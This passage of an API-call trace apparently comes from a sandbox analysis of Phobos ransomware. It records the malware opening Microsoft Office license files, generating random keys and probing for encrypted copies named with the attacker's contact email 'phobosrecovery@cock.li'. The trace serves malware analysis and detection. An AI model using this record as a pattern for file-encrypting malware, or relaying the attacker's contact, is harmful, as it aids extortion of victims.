Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ul-oob.xrm-ms")) returned 0x220 [0153.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.389] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.389] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10316) returned 1 [0153.389] CloseHandle (hObject=0x574) returned 1 [0153.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.390] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.390] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11619) returned 1 [0153.390] CloseHandle (hObject=0x574) returned 1 [0153.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.391] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.391] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9611) returned 1 [0153.392] CloseHandle (hObject=0x574) returned 1 [0153.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.393] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10627) returned 1 [0153.393] CloseHandle (hObject=0x574) returned 1 [0153.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-pl.xrm-ms")) returned 0x220 [0153.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.393] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.394] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10251) returned 1 [0153.394] CloseHandle (hObject=0x574) returned 1 [0153.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ppd.xrm-ms")) returned 0x220 [0153.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.394] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.395] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11586) returned 1 [0153.395] CloseHandle (hObject=0x574) returned 1 [0153.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.396] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19931) returned 1 [0153.396] CloseHandle (hObject=0x574) returned 1 [0153.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.397] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.397] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20778) returned 1 [0153.397] CloseHandle (hObject=0x574) returned 1 [0153.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ppd.xrm-ms")) returned 0x220 [0153.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.398] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.398] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11609) returned 1 [0153.398] CloseHandle (hObject=0x574) returned 1 [0153.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.399] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.399] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10651) returned 1 [0153.399] CloseHandle (hObject=0x574) returned 1 [0153.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-pl.xrm-ms")) returned 0x220 [0153.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.400] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.400] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20783) returned 1 [0153.400] CloseHandle (hObject=0x574) returned 1 [0153.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ppd.xrm-ms")) returned 0x220 [0153.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.401] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.401] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11602) returned 1 [0153.402] CloseHandle (hObject=0x574) returned 1 [0153.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0153.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.402] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.403] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19947) returned 1 [0153.403] CloseHandle (hObject=0x574) returned 1 [0153.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0153.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.403] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.404] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10643) returned 1 [0153.404] CloseHandle (hObject=0x574) returned 1 [0153.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-pl.xrm-ms")) returned 0x220 [0153.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.629] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.629] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11664) returned 1 [0153.630] CloseHandle (hObject=0x564) returned 1 [0153.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 